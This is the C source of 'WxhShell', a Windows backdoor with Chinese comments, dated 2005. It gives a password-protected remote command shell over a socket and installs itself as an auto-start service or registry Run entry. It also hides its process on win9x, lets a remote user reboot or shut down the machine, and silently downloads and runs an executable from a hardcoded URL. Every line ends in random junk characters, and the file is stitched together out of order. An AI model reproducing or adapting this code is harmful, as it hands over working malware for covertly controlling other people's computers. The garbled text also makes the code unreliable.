    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [4t KJ+v  
    if(Boot(SHUTDOWN)) Y>%NuL|s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +!Ltn  
    else { !RD,:\5V  
    closesocket(wsh); ;n@C(hG  
    ExitThread(0); h.^DRR^S  
    } O o:jP6r  
    break; E.3}a>f  
    } Rt|Hma  
  // 获取shell n\YxRs7 hF  
  case 's': { `3KprpE8v  
    CmdShell(wsh); K_aN7?#.v`  
    closesocket(wsh); m0,9yY::wj  
    ExitThread(0); `lhLIQ'j  
    break; <j#EyGAV  
  } -T8 gV1*(<  
  // 退出 1sJN^BvuG  
  case 'x': { lN'/Z&62  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ""d>f4,S  
    CloseIt(wsh); a3 x~B=E  
    break; e2fct|'  
    } B@=<'/S\7  
  // 离开 AIyv;}5  
  case 'q': { Kd)m"9Cc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h~@+M5r,  
    closesocket(wsh); [ lW "M  
    WSACleanup(); ni> ;8O]=  
    exit(1); NjxW A&[ng  
    break; m+UdT854  
        } g@k9w{_  
  } (ZK >WoV  
  } jh G7sS|  
G= cxc_9  
  // 提示信息 4QNR_w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ->8q, W2A  
} pxx(BE  
  } r\d:fot  
clw91yrQn  
  return; 'qJ-eQ7e  
} p'qH [<s  
 G{.+D2  
// shell模块句柄 HH?*"cKF~  
int CmdShell(SOCKET sock) r<v%Zp  
{ O:)IRB3  
STARTUPINFO si; ~S6{VK.  
ZeroMemory(&si,sizeof(si)); B6\VxSX4{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (Y)h+}n5N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?m1$*j  
PROCESS_INFORMATION ProcessInfo; ]LTc)[5Zj  
char cmdline[]="cmd"; <h=M Rw,l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %ZyPK,("  
  return 0; 1,QZnF!.x  
} S(i(1Hs.  
b<AE}UK  
// 自身启动模式 Ba0D"2CgY  
int StartFromService(void) y Xx62J  
{ PEEY;x  
typedef struct bOMP8{H,  
{ sjgR \`AU  
  DWORD ExitStatus; 0 0&$SE  
  DWORD PebBaseAddress; MPn>&28"|K  
  DWORD AffinityMask; |:+pPh!-  
  DWORD BasePriority; i(;-n_:, `  
  ULONG UniqueProcessId; G3+a+=e  
  ULONG InheritedFromUniqueProcessId; D~OhwsL4  
}   PROCESS_BASIC_INFORMATION; rVy\,#|  
*hs<Ez.cC  
PROCNTQSIP NtQueryInformationProcess; p0y?GNQ  
SsX05>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TSSt@xQ+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R"gm]SQ/  
[E (M(w':  
  HANDLE             hProcess; X-#mv|3  
  PROCESS_BASIC_INFORMATION pbi; JK"uj%  
.oj"ru  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 43=-pyp  
  if(NULL == hInst ) return 0; sDm},=X}  
y%bqeo L~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Os 2YZ<t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \BaN5+ B6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ' ,`4 U F  
&W+G{W{3  
  if (!NtQueryInformationProcess) return 0; G!Oq>7  
hX| UE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V)QR!4De  
  if(!hProcess) return 0; |~LjH|*M  
KH>sCEt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <S@mQJS!y  
vC<kpf!  
  CloseHandle(hProcess); ]#q7}Sd  
)^S^s >3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b[o"Uq@8?  
if(hProcess==NULL) return 0; :YXQ9/iRr  
Qfu*F}  
HMODULE hMod; 2G5!u)  
char procName[255]; ku9F N  
unsigned long cbNeeded; G!LNP&~  
j_uY8c>3\q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N|d.!Q;V.y  
W#7-%o T  
  CloseHandle(hProcess); -sH.yAvC6  
k,iV$,[TF  
if(strstr(procName,"services")) return 1; // 以服务启动  Ox*T:5  
40d9/$uzh  
  return 0; // 注册表启动 I u~aTgHX%  
} Doc'7P  
f9XO9N,hE:  
// 主模块 :G=1$gb  
int StartWxhshell(LPSTR lpCmdLine) rn[}{1I33Q  
{ 1\J1yOL  
  SOCKET wsl; &R FM d=  
BOOL val=TRUE; oy2dA  
  int port=0; $4*E\G8  
  struct sockaddr_in door; C+]q  
x*"pDI0k)  
  if(wscfg.ws_autoins) Install(); pkV\D  
:mV7)oWH  
port=atoi(lpCmdLine); .'{6u;8  
ID).*@(I"  
if(port<=0) port=wscfg.ws_port; _ KhEwd  
]#-/i2-K  
  WSADATA data; i 2} =/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [xs)u3b  
QRZTT qG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9Glfi@.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); grfdvN  
  door.sin_family = AF_INET; KYmWfM3^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M|E2&ht  
  door.sin_port = htons(port); 19w,'}CGk  
&B7+>Ix,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?)o4 Kt'h  
closesocket(wsl); t k/K0u  
return 1; (zro7gKked  
} Y=Ar3O*F  
nh&J3b}B!  
  if(listen(wsl,2) == INVALID_SOCKET) { -k[tFBl w  
closesocket(wsl); e5>5/l]jsg  
return 1; v6DxxE2n  
} %=mwOoMk0L  
  Wxhshell(wsl); C|~JPcl  
  WSACleanup(); "K$Wh1<7  
)bCG]OM7<  
return 0; Rw ao5l=x  
>&Ui*  
} -}qGb}F8!  
bR8 HGH28  
// 以NT服务方式启动 s8yTK2v2\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PxVI {:Uz  
{ 6v2RS  
DWORD   status = 0; ;aK !eD$  
  DWORD   specificError = 0xfffffff; u388Wj   
gQpD]p%k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dss/>! mN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zEPx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z1SMQLk  
  serviceStatus.dwWin32ExitCode     = 0; oB{}-[G  
  serviceStatus.dwServiceSpecificExitCode = 0; "J[i=~(  
  serviceStatus.dwCheckPoint       = 0; 77&^$JpM  
  serviceStatus.dwWaitHint       = 0; 400Tw`AiJ  
G0; EbJ/&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WP@JrnxO\`  
  if (hServiceStatusHandle==0) return; < ;,S"e  
Th;gps%b  
status = GetLastError(); J.e8UQ@=5  
  if (status!=NO_ERROR) qvfAG 0p  
{ Ubw!/|mi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R!V5-0%  
    serviceStatus.dwCheckPoint       = 0; Uygw*+  
    serviceStatus.dwWaitHint       = 0; w(e+o.:  
    serviceStatus.dwWin32ExitCode     = status; 2 ) /k`Na  
    serviceStatus.dwServiceSpecificExitCode = specificError; .iP G/e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %X9:R'~sP  
    return; MNf@HG  
  }  fBWJ%W  
[;IDTo!<>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hDD~,/yVxs  
  serviceStatus.dwCheckPoint       = 0; y5AXL5  
  serviceStatus.dwWaitHint       = 0; +%le/Pg@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X~)V)'R  
} \A3>c|  
x(3 I?#kE  
// 处理NT服务事件,比如:启动、停止 x,w`OMQ}c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =FD`A#\C~  
{ ReB(T7Vk=  
switch(fdwControl) ;(Ajf.i  
{ RZ<+AX9R  
case SERVICE_CONTROL_STOP: e0|_Z])D  
  serviceStatus.dwWin32ExitCode = 0; UP~WP@0F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1hMX(N&|  
  serviceStatus.dwCheckPoint   = 0; =~W0~lxX  
  serviceStatus.dwWaitHint     = 0; ` r'0"V  
  { RP|>&I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /:Z~"Q*r  
  } _8NEwwhc  
  return; =UB*xm%!  
case SERVICE_CONTROL_PAUSE: FUzMc1zy|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6Bq~\b^  
  break; l#5~ t|\  
case SERVICE_CONTROL_CONTINUE: B::4Qme  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LpiHoavv  
  break; 7$1fy0f[l  
case SERVICE_CONTROL_INTERROGATE: S`W'G&bCj  
  break; a$xeiy9  
}; iKF$J3a\2f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I", &%0ycm  
} [ n0##/  
_@BRpLs:4  
// 标准应用程序主函数 * Y%<b86U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XYK1-m}2  
{ A'~%_}  
f- k|w%R@  
// 获取操作系统版本 { /F rs*AF  
OsIsNt=GetOsVer(); Mf ;|z0UX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uaus>Frx.T  
=YXe1$ $  
  // 从命令行安装 j*eUF-J1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]8xc?*i8  
c4ZuW_&:  
  // 下载执行文件 T<TcV9vM  
if(wscfg.ws_downexe) { _X,[]+ziu%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /slm ]'  
  WinExec(wscfg.ws_filenam,SW_HIDE); *gM,x4Y  
} ,TKs/-_?  
[w&#+h-q  
if(!OsIsNt) { O2`oe4."vd  
// 如果时win9x,隐藏进程并且设置为注册表启动 JGk3 b=K  
HideProc(); f.aB?\"f6  
StartWxhshell(lpCmdLine); Uw2,o|=O  
} |b$>68:  
else F}6DB*  
  if(StartFromService()) }XGMa?WR  
  // 以服务方式启动 Z{,GZT  
  StartServiceCtrlDispatcher(DispatchTable); 3wN?|N  
else Yo~LckFF  
  // 普通方式启动 "wnpiB}  
  StartWxhshell(lpCmdLine); PJxak3  
VxkCK02k  
return 0; 5|<yfk8*J  
} eK Z@ FEZ  
C%}]"0Q1  
&dhcKO<4  
kCaO\#ta  
=========================================== ,67"C2Y  
A9\]3 LY  
7SgweZ}"  
b 0LGH. z4  
DU5:+" u3  
:]CzN^k(1c  
" 3I9T|wQ-]  
PGPISrf  
#include <stdio.h> 8)^B32  
#include <string.h> F_A%8)N  
#include <windows.h> h4hN1<ky\  
#include <winsock2.h> a|DsHZ^6^  
#include <winsvc.h> Q^z=w![z  
#include <urlmon.h> mR{CVU  
Y7<zm}=(/  
#pragma comment (lib, "Ws2_32.lib")  ]{f^;y8  
#pragma comment (lib, "urlmon.lib") ==QWwPpA  
hp bwZ  
#define MAX_USER   100 // 最大客户端连接数 (C8 U   
#define BUF_SOCK   200 // sock buffer doP$N3Zm  
#define KEY_BUFF   255 // 输入 buffer v! 7s M  
Ds%9cp*6  
#define REBOOT     0   // 重启 ~Cjz29|gp  
#define SHUTDOWN   1   // 关机 "w}-?:# j  
f4]N0  
#define DEF_PORT   5000 // 监听端口 403[oOj  
YBb)/ZghY  
#define REG_LEN     16   // 注册表键长度 #O2wyG)oU  
#define SVC_LEN     80   // NT服务名长度 vU=9ydAj?  
"$XYIuT  
// 从dll定义API 2v0!` &?M{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ifXW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 21r= = H$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %'Zc2h&z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); , N53Iic  
&4,WG  
// wxhshell配置信息 |u@+`4o  
struct WSCFG { OF c\fW#  
  int ws_port;         // 监听端口 ojHhT\M`  
  char ws_passstr[REG_LEN]; // 口令 !Y ( apVQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no t#C,VwMe[  
  char ws_regname[REG_LEN]; // 注册表键名 !Eq#[Gs  
  char ws_svcname[REG_LEN]; // 服务名 <d5@CA+M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q[7CPE0n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9<yAQ?7 L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rh@r\ H@j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "jMqt9ysN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JnfqXbE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4-mVB wq  
3Jk[/ .h  
}; H&M1>JtE  
a:85L!~:l  
// default Wxhshell configuration *HR +a#o  
struct WSCFG wscfg={DEF_PORT, 9B /s  
    "xuhuanlingzhe", {P-xCmZ~Wt  
    1, GL1'Zo  
    "Wxhshell", JPEIT  
    "Wxhshell", tR kF   
            "WxhShell Service", (a[.vw^g  
    "Wrsky Windows CmdShell Service", &5?G-mn  
    "Please Input Your Password: ", PgMbMH  
  1, z~,mRgc$B  
  "http://www.wrsky.com/wxhshell.exe", 3UdU"d[75  
  "Wxhshell.exe" v:E;^$6Vn  
    }; Yu'a<5f  
089 k.WG  
// 消息定义模块 -"=)z /S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~W<CE_/]k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H@GE)I>^@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o\Uu?.-<  
char *msg_ws_ext="\n\rExit."; 1BJ<m5/1%  
char *msg_ws_end="\n\rQuit."; ?v:ZU~i  
char *msg_ws_boot="\n\rReboot..."; IV'p~t  
char *msg_ws_poff="\n\rShutdown..."; nZfs=@w:y  
char *msg_ws_down="\n\rSave to "; U@'F%nHw  
owvS/"@  
char *msg_ws_err="\n\rErr!"; fAGctRGH  
char *msg_ws_ok="\n\rOK!"; `H\)e%]  
v5_7r%Hiw  
char ExeFile[MAX_PATH]; "+)K |9T#  
int nUser = 0; OO nX`  
HANDLE handles[MAX_USER]; g+xw$A ou  
int OsIsNt; Ve}[XqdS^p  
gxwo4.,  
SERVICE_STATUS       serviceStatus; >H>gH2qp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q/NY72tj0  
#E DEYEW7  
// 函数声明 9Hd;35 3Q  
int Install(void); !;S"&mcPDJ  
int Uninstall(void); .[?BlIlm  
int DownloadFile(char *sURL, SOCKET wsh); OR:[J5M)  
int Boot(int flag); qz!Ph5 (  
void HideProc(void); ]dSK wxk  
int GetOsVer(void); p~&BChBl!=  
int Wxhshell(SOCKET wsl); SRZL\m}  
void TalkWithClient(void *cs); U3E&n1AA  
int CmdShell(SOCKET sock); pj0fM{E  
int StartFromService(void); S,''>`w  
int StartWxhshell(LPSTR lpCmdLine); $IVwA  
%d1draL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }u%"$[I}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |S&5es-yW  
KB!5u9  
// 数据结构和表定义 87V1#U^  
SERVICE_TABLE_ENTRY DispatchTable[] = UL( lf}M  
{ j?6X1cMq  
{wscfg.ws_svcname, NTServiceMain}, 2C$R4:Ssw)  
{NULL, NULL} & ze>X  
}; 6BocGo({  
tu0aD%C  
// 自我安装 \}5p0.=  
int Install(void) d,0 }VaY=D  
{ PE"v*9k  
  char svExeFile[MAX_PATH]; Ya#h'+}  
  HKEY key; ]E3<UR  
  strcpy(svExeFile,ExeFile); .$!{-v[  
eS'yGY0b  
// 如果是win9x系统,修改注册表设为自启动 fKHE;A*>%  
if(!OsIsNt) { t{dSX?<nt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t P"\J(x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u,1}h L  
  RegCloseKey(key); +/rH(Ni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,qQG;w,m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Yuvbb[  
  RegCloseKey(key); geM6G$V&  
  return 0; ]ikomCg   
    } -r<#rITH"  
  } 4-R^/A0  
} N@xg:xr  
else { -.IEgggf  
6/Fzco#N  
// 如果是NT以上系统,安装为系统服务 R"AUSO|{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 52d^K0STC  
if (schSCManager!=0) C [uOReo  
{ ka"337H  
  SC_HANDLE schService = CreateService ~rD={&0  
  ( 8X$LC  
  schSCManager, k |YWOy@D~  
  wscfg.ws_svcname, yClx` S(  
  wscfg.ws_svcdisp, 9Q;c ,]  
  SERVICE_ALL_ACCESS, .]x2K-Sf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  d$W  
  SERVICE_AUTO_START, -%CoWcGP  
  SERVICE_ERROR_NORMAL, (:pq77  
  svExeFile, 5fJ[}~  
  NULL, EH*o"N`!r  
  NULL, UPiW73Nu  
  NULL, ,=QM#l]  
  NULL, b'YE9E  
  NULL b:J(b?  
  ); V\]" }V)"  
  if (schService!=0) p(F" /  
  { /9pM>Cd*Z  
  CloseServiceHandle(schService); $((6=39s  
  CloseServiceHandle(schSCManager); @n&<B`/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I$t3qd{H&  
  strcat(svExeFile,wscfg.ws_svcname); _>m-AI4^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 44ed79ly0)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q.#[TI ^  
  RegCloseKey(key); ccFn.($p?,  
  return 0; .w?(NZ2~  
    } 69K{+|  
  } ->^~KVh&  
  CloseServiceHandle(schSCManager); N|g;W  
} )~J>X{hy  
} !7bw5H  
~EzaC?fQ  
return 1; G oM ip8'u  
} ;`YkMS`=W  
<A5]]{9 +  
// 自我卸载 |RkcDrB~  
int Uninstall(void) Q/ms]Du  
{ N6OMY P1  
  HKEY key; /93l74.w  
wC_l@7 t  
if(!OsIsNt) { &MZ$j46  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nlYR-.  
  RegDeleteValue(key,wscfg.ws_regname); +!IQj0&'Y3  
  RegCloseKey(key); @Ky> 9m{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '*^yAlgtt  
  RegDeleteValue(key,wscfg.ws_regname); /iC;%r1L  
  RegCloseKey(key); v1JS~uDz  
  return 0; 7dG 79H  
  } *OJ/V O  
} -|k)tvAm  
} Kv'n:z7Md  
else { WtulTAfN  
[#Lc]$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #11NPo9  
if (schSCManager!=0) Uxfl_@lJ  
{ 57a2^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'ly?P8h  
  if (schService!=0) "gtHTqheH  
  { [H<bh%  
  if(DeleteService(schService)!=0) { O,bkQY$v  
  CloseServiceHandle(schService); .nu @ o40  
  CloseServiceHandle(schSCManager); M->*{D@a  
  return 0; VV4Gjc  
  } %3q0(Xl  
  CloseServiceHandle(schService); /MMd`VrC2  
  } Migd(uw'  
  CloseServiceHandle(schSCManager); u 's`*T@.  
} 3A:q7#m  
} Wz4&7KYY  
zya5Jb:Sg  
return 1; \Ng\B.IQ  
} \<Sv3xy&O  
znJhP}(  
// 从指定url下载文件 j*"3t^|-  
int DownloadFile(char *sURL, SOCKET wsh) &8&d3EQ  
{ .:p2Tbo  
  HRESULT hr; /+*#pDx/zW  
char seps[]= "/"; R[z`:1lo  
char *token; a,F&`Wg  
char *file; 8.' #?]a  
char myURL[MAX_PATH]; J:uW`R  
char myFILE[MAX_PATH]; `RU[8@ 2%  
T_b^ Tc`  
strcpy(myURL,sURL); WwH+E]^e+  
  token=strtok(myURL,seps); SG}V[Glk  
  while(token!=NULL)  ~>O)  
  { 6qN~/TnHZ  
    file=token; Spo?i.#  
  token=strtok(NULL,seps);  ~ ~uAc_  
  } 8l}1c=A}Vi  
2!&&|Mh}  
GetCurrentDirectory(MAX_PATH,myFILE); H>9CW<8  
strcat(myFILE, "\\"); ^ -FX  
strcat(myFILE, file); gBT2)2]  
  send(wsh,myFILE,strlen(myFILE),0); 7n]65].t  
send(wsh,"...",3,0); Uv YF[@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7Dnp'*H  
  if(hr==S_OK) l`kWz5[~  
return 0; (,^*So/  
else >hBxY]< \  
return 1; 1im^17 X  
+_XmlX A3Z  
} l4n)#?Q?  
H&r,FmI@  
// 系统电源模块 08X_}97#WF  
int Boot(int flag) j!7`]  
{ y4h=Lki@  
  HANDLE hToken; EbeI{ -'aF  
  TOKEN_PRIVILEGES tkp; y\N|<+G+  
.@ xF6UZ  
  if(OsIsNt) { +("7ZK?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @ '@:sM_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V f-a'K&  
    tkp.PrivilegeCount = 1; 5es[Ph|K5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yc|VJ2R*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1@u2im-O  
if(flag==REBOOT) { k = ?h~n0M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1qV@qz  
  return 0; A:(*y 2  
} =%'`YbD$  
else { ZmOfEg|h\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D\<y)kh  
  return 0; 8/)qTUx:  
} Ii7QJ:^  
  } y_xnai  
  else { aP'"G^F   
if(flag==REBOOT) { ARcv;H 5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w9 w%&{j  
  return 0; JS}{%(B  
} XLMb=T~S  
else { s1|/S\   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q+B&orp  
  return 0; !`!| Zw  
} ~Lc066bLeq  
} XqM3<~$  
cYXM__  
return 1; /1?R?N2>0  
} @ HZKc\1  
cRX~z  
// win9x进程隐藏模块 >0p$(>N]  
void HideProc(void) }j,[ 1@S  
{ L[5=h  
d #jK=:eK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z|RY2P>E  
  if ( hKernel != NULL ) Xf)|Pu  
  { 099sN"kf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -,K!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q80S[au  
    FreeLibrary(hKernel); ]*7Y~dO  
  } EUsI%p  
oK{ V7  
return; UT}i0I9  
} 1-RIN}CSd  
Kscd}f)yx?  
// 获取操作系统版本 EGl^!.'  
int GetOsVer(void) "UwH\T4I  
{ bQ|V!mrN}  
  OSVERSIONINFO winfo; 1s1=rZ!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5U_H>oD  
  GetVersionEx(&winfo); <0S=,!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S*AERm   
  return 1; \M'-O YH_[  
  else dMR3)CO  
  return 0;  |W<+U  
} :$MG*/Q  
*,BzcZ  
// 客户端句柄模块 ktDC/8  
int Wxhshell(SOCKET wsl) d GP*O  
{ RCRpzY+@  
  SOCKET wsh; tH'2gl   
  struct sockaddr_in client; YJ(*wByM  
  DWORD myID; tpuYiL  
@29U@T  
  while(nUser<MAX_USER) |d6T/Uxo  
{ :_M;E"9R  
  int nSize=sizeof(client); =)|-?\[w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q]p(u\*  
  if(wsh==INVALID_SOCKET) return 1; a#T]*(Yq)  
d\|!Hg,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %e&9.  
if(handles[nUser]==0) V ]90  
  closesocket(wsh); OzC\9YeA  
else  <T[E=#  
  nUser++; %/updw#{B  
  } UwC=1g U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }B~If}7  
KD^N)&k^Kp  
  return 0; ^] kF{ o?  
} %c[V  
<]G]W/eB'  
// 关闭 socket }`+B=h-dW  
void CloseIt(SOCKET wsh) {&Q9"C  
{ Mfv1Os:ST  
closesocket(wsh); tnLAJ+ -M  
nUser--; F`9]=T0  
ExitThread(0); U!Ek'  
} H:"ma S\I  
)Pv9_XKJ  
// 客户端请求句柄 }pJwj  
void TalkWithClient(void *cs) P (S>=,Y&  
{ YtO|D  
'fPdpnJ<  
  SOCKET wsh=(SOCKET)cs; r [ K5w  
  char pwd[SVC_LEN]; MX+ Z ?  
  char cmd[KEY_BUFF]; |\n_OS 7  
char chr[1]; N<DGw?Rl  
int i,j; In[Cr/&/Y  
#h/Mbj~S  
  while (nUser < MAX_USER) { jMpD+Mb  
VsA'de!V4[  
if(wscfg.ws_passstr) { 36am-G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MeUaTJFEB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?mlNL/:  
  //ZeroMemory(pwd,KEY_BUFF); xC tmXo  
      i=0; E }ZJ)V7  
  while(i<SVC_LEN) { A2|Ud_  
)Y)pmjZaG  
  // 设置超时 xp Og8u5  
  fd_set FdRead;  }K3x  
  struct timeval TimeOut; +E1h#cc)  
  FD_ZERO(&FdRead); <vwkjCA`  
  FD_SET(wsh,&FdRead); Onwp-!!.  
  TimeOut.tv_sec=8;  @Pt="*g  
  TimeOut.tv_usec=0; @'GGm#<   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]7e =fM9V;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hqRw^2F  
6"}?.E$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); be +4junf  
  pwd=chr[0]; @lvyDu6e  
  if(chr[0]==0xd || chr[0]==0xa) { "Y\_TtY  
  pwd=0; #UbF9})q  
  break; cH>%r^G\  
  } l<N}!lG|  
  i++; O|w J)  
    } KIWe@e  
%dY<=x#b  
  // 如果是非法用户,关闭 socket xNbPsoK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yiO. z  
} o^ XtU5SVq  
[]D@Q+1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^yOZArc'r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Phke`3tth  
[Jv@J\  
while(1) { #t+d iR  
GI&h`X5,e  
  ZeroMemory(cmd,KEY_BUFF); KVJ_E!i  
 f& CBU  
      // 自动支持客户端 telnet标准   8w.YYo8`  
  j=0; RU\/j%^  
  while(j<KEY_BUFF) { =AuR:Tx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k1!@^A  
  cmd[j]=chr[0]; cb}[S:&|  
  if(chr[0]==0xa || chr[0]==0xd) { uS^Ipxe\  
  cmd[j]=0; ye MB0Z*r  
  break; ZMq6/G*fD  
  } s)pbS}L  
  j++; ukUGvK  
    } v\{!THCSh  
vuYSVI2=H  
  // 下载文件 O6OP =K!t:  
  if(strstr(cmd,"http://")) { F|!){=   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VX1-JxY  
  if(DownloadFile(cmd,wsh)) \P6$mh\T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+i(TM=  
  else ?F3h)(}  
